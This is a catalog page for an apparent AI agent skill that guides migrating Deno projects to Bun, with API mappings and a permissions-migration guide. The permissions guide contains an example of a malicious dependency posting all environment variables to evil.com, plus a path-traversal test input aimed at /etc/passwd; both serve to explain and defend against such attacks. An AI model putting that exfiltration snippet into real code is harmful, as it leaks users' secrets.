
Deno To Bun
- 27 installs
- 4 repo stars
- Updated January 26, 2026
- daleseo/bun-skills
Migrates Deno projects to Bun by converting Deno.* APIs, permissions model, and import maps to Bun equivalents.
About
Analyzes a Deno project's config and permissions and maps Deno.* APIs to Bun equivalents for filesystem, runtime, and imports. Developers use it when converting Deno or Deno Deploy projects to Bun.
- Deno.* to Bun API mapping reference
- Handles permission model and import map differences
Deno To Bun by the numbers
- 27 all-time installs (skills.sh)
- Ranked #3,400 of 4,347 Backend & APIs skills by installs in the Skillselion catalog
- Data as of Jul 29, 2026 (Skillselion catalog sync)
npx skills add https://github.com/daleseo/bun-skills --skill deno-to-bunAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 27 |
|---|---|
| repo stars | ★ 4 |
| Last updated | January 26, 2026 |
| Repository | daleseo/bun-skills ↗ |
What it does
Migrates Deno projects to Bun by converting Deno.* APIs, permissions model, and import maps to Bun equivalents.
Files
Deno to Bun Migration
You are assisting with migrating an existing Deno project to Bun. This involves converting Deno APIs, updating configurations, and adapting to Bun's runtime model.
Quick Reference
For detailed patterns, see:
- API Mapping: api-mapping.md - Deno.* to Bun equivalents
- Permissions: permissions.md - Permission model differences
Migration Workflow
1. Pre-Migration Analysis
Check if Bun is installed:
bun --versionAnalyze current Deno project:
# Check Deno version
deno --version
# Check for deno.json/deno.jsonc
ls -la | grep -E "deno.json|deno.jsonc"
# List permissions used
grep -r "deno run" .Read deno.json or deno.jsonc to understand the project configuration.
2. API Compatibility Analysis
Common Deno APIs and their Bun equivalents:
File System
// Deno
const text = await Deno.readTextFile("file.txt");
await Deno.writeTextFile("file.txt", "content");
// Bun
const text = await Bun.file("file.txt").text();
await Bun.write("file.txt", "content");HTTP Server
// Deno
Deno.serve({ port: 3000 }, (req) => {
return new Response("Hello");
});
// Bun
Bun.serve({
port: 3000,
fetch(req) {
return new Response("Hello");
},
});Environment Variables
// Deno
const value = Deno.env.get("KEY");
// Bun (same as Node.js)
const value = process.env.KEY;Reading JSON
// Deno
const data = await Deno.readTextFile("data.json");
const json = JSON.parse(data);
// Bun
const json = await Bun.file("data.json").json();For complete API mapping, see api-mapping.md.
3. Configuration Migration
Convert deno.json to package.json and bunfig.toml:
deno.json:
{
"tasks": {
"dev": "deno run --allow-net --allow-read main.ts",
"test": "deno test"
},
"imports": {
"oak": "https://deno.land/x/oak@v12.6.1/mod.ts"
},
"compilerOptions": {
"lib": ["deno.window"]
}
}package.json (Bun):
{
"name": "my-bun-project",
"type": "module",
"scripts": {
"dev": "bun run --hot main.ts",
"test": "bun test"
},
"dependencies": {
"hono": "^3.0.0"
}
}bunfig.toml:
[test]
preload = ["./tests/setup.ts"]4. Import Map Conversion
Deno imports:
// Deno - URL imports
import { serve } from "https://deno.land/std@0.200.0/http/server.ts";
import { oak } from "https://deno.land/x/oak@v12.6.1/mod.ts";Bun imports:
// Bun - npm packages
import { Hono } from "hono";
// Or for std library equivalents, use npm packagesCommon replacements:
deno.land/std/http→honoor nativeBun.servedeno.land/x/oak→honoorexpressdeno.land/std/testing→bun:testdeno.land/std/path→ Node.jspathmodule
5. Permission Model Changes
Deno permissions:
deno run --allow-read --allow-write --allow-net main.tsBun (no permission system):
bun run main.ts # Full system access by defaultSecurity implications:
- Bun has no permission system like Deno
- Review code for security concerns
- Use environment variables for sensitive operations
- Consider running in containers for isolation
For detailed permission migration, see permissions.md.
6. Update File Extensions and Imports
Deno allows extension-less imports:
// Deno
import { helper } from "./utils"; // Resolves to utils.tsBun requires extensions:
// Bun
import { helper } from "./utils.ts"; // Explicit extension7. Testing Migration
Deno test:
import { assertEquals } from "https://deno.land/std/testing/asserts.ts";
Deno.test("example", () => {
assertEquals(1 + 1, 2);
});Bun test:
import { test, expect } from "bun:test";
test("example", () => {
expect(1 + 1).toBe(2);
});8. Update package.json
Create or update package.json:
{
"name": "migrated-from-deno",
"type": "module",
"scripts": {
"dev": "bun run --hot main.ts",
"start": "bun run main.ts",
"test": "bun test"
},
"dependencies": {
"hono": "^3.0.0"
}
}9. Install Dependencies
# Remove deno.lock if present
rm deno.lock
# Install Bun dependencies
bun install10. Update TypeScript Configuration
Create tsconfig.json:
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "bundler",
"types": ["bun-types"],
"lib": ["ES2022"],
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"resolveJsonModule": true,
"allowImportingTsExtensions": true,
"noEmit": true
}
}Common Migration Patterns
HTTP Server
Deno:
Deno.serve({ port: 3000 }, (req) => {
const url = new URL(req.url);
if (url.pathname === "/") {
return new Response("Hello");
}
return new Response("Not found", { status: 404 });
});Bun:
Bun.serve({
port: 3000,
fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/") {
return new Response("Hello");
}
return new Response("Not found", { status: 404 });
},
});File Operations
Deno:
const file = await Deno.open("file.txt");
const decoder = new TextDecoder();
const content = decoder.decode(await Deno.readAll(file));
file.close();Bun:
const content = await Bun.file("file.txt").text();Environment Variables
Deno:
const apiKey = Deno.env.get("API_KEY");
Deno.env.set("NEW_VAR", "value");Bun:
const apiKey = process.env.API_KEY;
process.env.NEW_VAR = "value"; // Note: Setting at runtime doesn't persistCommand Execution
Deno:
const command = new Deno.Command("ls", {
args: ["-la"],
});
const { stdout } = await command.output();Bun:
import { $ } from "bun";
const output = await $`ls -la`.text();Verification Steps
Run these commands to verify migration:
# 1. Install dependencies
bun install
# 2. Type check
bun run --bun tsc --noEmit
# 3. Run tests
bun test
# 4. Try development server
bun run dev
# 5. Test production build (if applicable)
bun run buildMigration Checklist
Present this checklist to the user:
- [ ] Bun installed and verified
- [ ] Deno APIs mapped to Bun equivalents
- [ ] deno.json converted to package.json
- [ ] Import maps converted to npm dependencies
- [ ] URL imports replaced with npm packages
- [ ] File extensions added to imports
- [ ] Permission flags removed (security reviewed)
- [ ] Test framework migrated to bun:test
- [ ] TypeScript configuration created
- [ ] Dependencies installed with
bun install - [ ] Tests passing with
bun test - [ ] Application runs successfully
- [ ] Documentation updated
Known Differences
Deno Features Not in Bun
1. Permission System: Bun has full system access 2. URL Imports: Must use npm packages or local files 3. Deno Deploy: Use Docker or other deployment (see bun-deploy skill) 4. Deno Namespace: No Deno.* APIs (use Bun/Node equivalents) 5. Built-in Formatter/Linter: Use separate tools (Biome, ESLint, Prettier)
Bun Advantages Over Deno
1. npm Ecosystem: Full access to npm packages 2. Performance: Faster startup and execution 3. Package Manager: Built-in package manager (3x faster than npm) 4. Native Bundler: Built-in bundler and transpiler 5. Jest Compatibility: Familiar testing API
Completion
Once migration is complete, provide summary:
- ✅ Migration status (success/partial/issues)
- ✅ List of changes made
- ✅ API conversions performed
- ✅ Any remaining manual steps
- ✅ Links to Bun documentation for ongoing development
Next Steps
Suggest to the user: 1. Review security implications (no permission system) 2. Update CI/CD pipelines for Bun 3. Consider containerization (bun-deploy skill) 4. Optimize with Bun-specific features 5. Update team documentation
Deno to Bun API Mapping Reference
Complete mapping of Deno APIs to their Bun/Node.js equivalents.
File System APIs
| Deno API | Bun/Node.js Equivalent | Notes |
|---|---|---|
Deno.readTextFile(path) | await Bun.file(path).text() | Bun's file API is simpler |
Deno.readFile(path) | await Bun.file(path).arrayBuffer() | Returns ArrayBuffer |
Deno.writeTextFile(path, data) | await Bun.write(path, data) | Bun auto-detects type |
Deno.writeFile(path, data) | await Bun.write(path, data) | Works with Uint8Array |
Deno.open(path) | Bun.file(path) | Different API paradigm |
Deno.readDir(path) | import { readdir } from "fs/promises"; readdir(path) | Use Node.js fs module |
Deno.mkdir(path) | import { mkdir } from "fs/promises"; mkdir(path) | Use Node.js fs module |
Deno.remove(path) | import { unlink } from "fs/promises"; unlink(path) | Use Node.js fs module |
Deno.stat(path) | import { stat } from "fs/promises"; stat(path) | Use Node.js fs module |
Deno.cwd() | process.cwd() | Node.js compatible |
Deno.chdir(path) | process.chdir(path) | Node.js compatible |
File Reading Examples
Deno:
const text = await Deno.readTextFile("file.txt");
const bytes = await Deno.readFile("file.txt");
const json = JSON.parse(await Deno.readTextFile("data.json"));Bun:
const text = await Bun.file("file.txt").text();
const bytes = await Bun.file("file.txt").arrayBuffer();
const json = await Bun.file("data.json").json();HTTP Server APIs
| Deno API | Bun Equivalent | Notes |
|---|---|---|
Deno.serve(handler) | Bun.serve({ fetch: handler }) | Similar API |
Deno.serve({ port }, handler) | Bun.serve({ port, fetch: handler }) | Same port option |
Deno.serveHttp(conn) | Use Bun.serve() | Different model |
Server Examples
Deno:
Deno.serve({ port: 3000 }, (req) => {
return new Response("Hello World");
});Bun:
Bun.serve({
port: 3000,
fetch(req) {
return new Response("Hello World");
},
});Environment Variables
| Deno API | Bun/Node.js Equivalent | Notes |
|---|---|---|
Deno.env.get(key) | process.env[key] | Node.js compatible |
Deno.env.set(key, value) | process.env[key] = value | Runtime only |
Deno.env.delete(key) | delete process.env[key] | Runtime only |
Deno.env.has(key) | key in process.env | Check existence |
Deno.env.toObject() | process.env | Already an object |
Process APIs
| Deno API | Bun/Node.js Equivalent | Notes |
|---|---|---|
Deno.exit(code) | process.exit(code) | Identical behavior |
Deno.args | process.argv.slice(2) | Node.js adds node + script path |
Deno.pid | process.pid | Process ID |
Deno.ppid | process.ppid | Parent process ID |
Deno.memoryUsage() | process.memoryUsage() | Memory stats |
Command Execution
| Deno API | Bun Equivalent | Notes |
|---|---|---|
new Deno.Command(cmd, { args }) | import { $ } from "bun"; $\cmd args\`` | Bun's shell API |
command.output() | await $\cmd\.text() | Get output |
command.spawn() | Use Node.js child_process | For streaming |
Command Examples
Deno:
const command = new Deno.Command("ls", {
args: ["-la"],
});
const { code, stdout, stderr } = await command.output();
const output = new TextDecoder().decode(stdout);Bun:
import { $ } from "bun";
const output = await $`ls -la`.text();Network APIs
| Deno API | Bun/Web Standard Equivalent | Notes |
|---|---|---|
fetch(url) | fetch(url) | Standard Web API |
Deno.connect({ hostname, port }) | Use Node.js net module | Low-level TCP |
Deno.listen({ port }) | Use Bun.serve() or Node.js net | HTTP or TCP |
Testing APIs
| Deno API | Bun Equivalent | Notes |
|---|---|---|
Deno.test(name, fn) | import { test } from "bun:test"; test(name, fn) | Similar API |
Deno.test({ name, fn }) | test(name, fn) | Simpler in Bun |
assertEquals(a, b) | expect(a).toBe(b) | Jest-style |
assert(condition) | expect(condition).toBe(true) | Jest-style |
assertThrows(fn) | expect(fn).toThrow() | Jest-style |
Testing Examples
Deno:
import { assertEquals } from "https://deno.land/std/testing/asserts.ts";
Deno.test("addition", () => {
assertEquals(1 + 1, 2);
});Bun:
import { test, expect } from "bun:test";
test("addition", () => {
expect(1 + 1).toBe(2);
});Crypto APIs
| Deno API | Web/Node.js Equivalent | Notes |
|---|---|---|
crypto.randomUUID() | crypto.randomUUID() | Standard Web API |
crypto.getRandomValues(arr) | crypto.getRandomValues(arr) | Standard Web API |
crypto.subtle.* | crypto.subtle.* | Standard Web Crypto API |
Encoding/Decoding
| Deno API | JavaScript Equivalent | Notes |
|---|---|---|
new TextEncoder().encode(str) | new TextEncoder().encode(str) | Standard API |
new TextDecoder().decode(bytes) | new TextDecoder().decode(bytes) | Standard API |
atob(str) | atob(str) | Standard API |
btoa(str) | btoa(str) | Standard API |
Timers
| Deno API | JavaScript Equivalent | Notes |
|---|---|---|
setTimeout(fn, ms) | setTimeout(fn, ms) | Standard API |
setInterval(fn, ms) | setInterval(fn, ms) | Standard API |
clearTimeout(id) | clearTimeout(id) | Standard API |
clearInterval(id) | clearInterval(id) | Standard API |
Standard Library Replacements
Deno's standard library must be replaced with npm packages or Node.js modules.
Path Manipulation
Deno:
import { join, dirname } from "https://deno.land/std/path/mod.ts";Bun:
import { join, dirname } from "path";HTTP Framework
Deno (Oak):
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application();
app.use((ctx) => {
ctx.response.body = "Hello";
});Bun (Hono):
import { Hono } from "hono";
const app = new Hono();
app.get("/", (c) => c.text("Hello"));UUID Generation
Deno:
import { v4 } from "https://deno.land/std/uuid/mod.ts";
const id = v4.generate();Bun:
const id = crypto.randomUUID();
// or
import { randomUUID } from "crypto";
const id = randomUUID();APIs with No Direct Equivalent
Some Deno APIs don't have direct equivalents and require different approaches:
| Deno API | Alternative in Bun | Notes |
|---|---|---|
Deno.permissions.* | No equivalent | Bun has no permission system |
Deno.upgradeWebSocket() | Use Bun.serve({ websocket }) | Different API |
Deno.bench() | Use benchmarking libraries | Not built-in |
Deno.inspect() | console.log() or util.inspect() | Different formatting |
Resources
Deno to Bun: Permission Model Migration
Understanding and adapting to the permission model differences between Deno and Bun.
Key Difference
Deno: Secure by default with explicit permission flags Bun: Full system access by default (like Node.js)
This is a fundamental architectural difference that requires careful consideration during migration.
Deno Permission Flags
File System Permissions
# Deno - explicit permissions required
deno run --allow-read main.ts # Read any file
deno run --allow-read=/etc main.ts # Read specific directory
deno run --allow-write main.ts # Write any file
deno run --allow-write=/tmp main.ts # Write specific directoryNetwork Permissions
# Deno - explicit network access
deno run --allow-net main.ts # All network access
deno run --allow-net=api.example.com main.ts # Specific domain
deno run --allow-net=:8000 main.ts # Specific portEnvironment Permissions
# Deno - explicit env access
deno run --allow-env main.ts # All env vars
deno run --allow-env=API_KEY main.ts # Specific varOther Permissions
deno run --allow-run main.ts # Run subprocesses
deno run --allow-ffi main.ts # Foreign function interface
deno run --allow-hrtime main.ts # High-resolution time
deno run --allow-sys main.ts # System informationAll Permissions
deno run -A main.ts # All permissions (⚠️ use carefully)Bun: No Permission System
# Bun - full system access always
bun run main.ts
# No flags needed - all operations allowedSecurity Implications
What Deno Prevents (That Bun Allows)
1. Unintended File Access
- Deno: Must explicitly allow read/write
- Bun: Can read/write any file
2. Network Requests
- Deno: Must explicitly allow domains
- Bun: Can connect to any domain
3. Environment Variables
- Deno: Must explicitly allow env access
- Bun: Can read all env vars
4. Subprocess Execution
- Deno: Must explicitly allow running commands
- Bun: Can run any command
Example Security Scenario
Malicious dependency in Deno:
// This would FAIL without --allow-net
await fetch("https://evil.com/steal-data", {
method: "POST",
body: JSON.stringify(Deno.env.toObject()) // Also fails without --allow-env
});Same code in Bun:
// This WORKS - no permission checks
await fetch("https://evil.com/steal-data", {
method: "POST",
body: JSON.stringify(process.env)
});Migration Strategy
1. Audit Permission Requirements
Before migrating, document what permissions your Deno app uses:
# Find all permission flags in scripts
grep -r "deno run" package.json deno.json .
grep -r "\-\-allow" .
# Common patterns:
# --allow-read=./data
# --allow-write=./logs
# --allow-net=api.example.com
# --allow-env=API_KEY,DATABASE_URL2. Code Review for Security
Review code that previously required permissions:
// File operations that were restricted in Deno
const data = await Deno.readTextFile("./config.json");
// Network calls that were restricted
await fetch("https://api.example.com/data");
// Environment access that was restricted
const apiKey = Deno.env.get("API_KEY");3. Implement Application-Level Security
Since Bun has no permission system, implement security at the application level:
Path Validation
// Validate file paths before access
import { resolve, normalize } from "path";
function safeReadFile(userPath: string, allowedDir: string) {
const normalizedPath = normalize(resolve(userPath));
const allowedPath = normalize(resolve(allowedDir));
if (!normalizedPath.startsWith(allowedPath)) {
throw new Error("Access denied: path outside allowed directory");
}
return Bun.file(normalizedPath).text();
}
// Usage
await safeReadFile(userInput, "./data"); // Only allows ./data/* accessDomain Whitelisting
// Whitelist allowed domains for fetch
const ALLOWED_DOMAINS = [
"api.example.com",
"cdn.example.com"
];
async function safeFetch(url: string, options?: RequestInit) {
const urlObj = new URL(url);
if (!ALLOWED_DOMAINS.includes(urlObj.hostname)) {
throw new Error(`Access denied: ${urlObj.hostname} not in whitelist`);
}
return fetch(url, options);
}
// Usage
await safeFetch("https://api.example.com/data"); // ✅ Allowed
await safeFetch("https://evil.com/data"); // ❌ Throws errorEnvironment Variable Protection
// Limit which env vars can be accessed
const ALLOWED_ENV_VARS = [
"NODE_ENV",
"API_KEY",
"DATABASE_URL"
];
function getEnv(key: string): string | undefined {
if (!ALLOWED_ENV_VARS.includes(key)) {
throw new Error(`Access denied: ${key} not in allowed env vars`);
}
return process.env[key];
}
// Usage
const apiKey = getEnv("API_KEY"); // ✅ Allowed
const secret = getEnv("AWS_SECRET"); // ❌ Throws error4. Containerization for Isolation
Use Docker to provide isolation similar to Deno's permissions:
Dockerfile with restricted capabilities:
FROM oven/bun:1-alpine
# Run as non-root user
RUN addgroup --system --gid 1001 bunuser && \
adduser --system --uid 1001 bunuser
WORKDIR /app
# Copy only necessary files
COPY --chown=bunuser:bunuser package.json bun.lockb ./
RUN bun install --frozen-lockfile --production
COPY --chown=bunuser:bunuser src ./src
USER bunuser
# Read-only file system (where possible)
# Use Docker volumes for directories that need write accessdocker-compose.yml with security:
services:
app:
build: .
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE # Only if needed
read_only: true
tmpfs:
- /tmp
volumes:
- ./data:/app/data:ro # Read-only data
- ./logs:/app/logs:rw # Write-only logs
environment:
- NODE_ENV=production
# Only include necessary env vars5. Use Environment-Specific Configurations
// config.ts
const isDevelopment = process.env.NODE_ENV === "development";
const isProduction = process.env.NODE_ENV === "production";
export const config = {
// Restrict file access in production
dataDir: isProduction ? "/app/data" : "./data",
allowedHosts: isProduction
? ["api.example.com"]
: ["api.example.com", "localhost"],
// Enable strict checks in production
strictMode: isProduction,
};Security Checklist
When migrating from Deno to Bun:
- [ ] Audit permissions: Document all Deno permission flags used
- [ ] Review file access: Ensure file operations are restricted to expected paths
- [ ] Review network calls: Verify fetch calls only go to trusted domains
- [ ] Review env usage: Limit environment variable access
- [ ] Review subprocess calls: Validate any command execution
- [ ] Implement validation: Add application-level security checks
- [ ] Use containers: Deploy in Docker with security constraints
- [ ] Code review: Have team review security implications
- [ ] Dependency audit: Check npm packages for security issues
- [ ] Monitor access: Add logging for sensitive operations
Testing Security
// security.test.ts
import { test, expect } from "bun:test";
test("should reject unauthorized file access", async () => {
await expect(
safeReadFile("../../../etc/passwd", "./data")
).rejects.toThrow("Access denied");
});
test("should reject unauthorized domains", async () => {
await expect(
safeFetch("https://evil.com/api")
).rejects.toThrow("not in whitelist");
});
test("should reject unauthorized env vars", () => {
expect(() => getEnv("AWS_SECRET")).toThrow("not in allowed");
});Best Practices
1. Principle of Least Privilege: Only allow what's necessary 2. Input Validation: Validate all user inputs and paths 3. Dependency Auditing: Regularly audit npm packages 4. Container Security: Use Docker security features 5. Monitoring: Log security-sensitive operations 6. Code Review: Review permission-related code changes 7. Environment Separation: Separate dev/staging/prod environments 8. Secrets Management: Use secret managers, not env vars when possible
Tools and Libraries
- Path validation: Built-in
pathmodule - Container security: Docker, Podman
- Secrets management: Vault, AWS Secrets Manager, 1Password
- Dependency scanning:
npm audit, Snyk, Dependabot - Runtime monitoring: Application performance monitoring (APM) tools
Conclusion
While Bun doesn't have Deno's permission system:
- ✅ You gain npm ecosystem access
- ✅ You get better performance
- ⚠️ You must implement security yourself
- ⚠️ Containerization becomes more important
The trade-off is acceptable for most use cases if you: 1. Understand the implications 2. Implement application-level security 3. Use containers for isolation 4. Audit dependencies regularly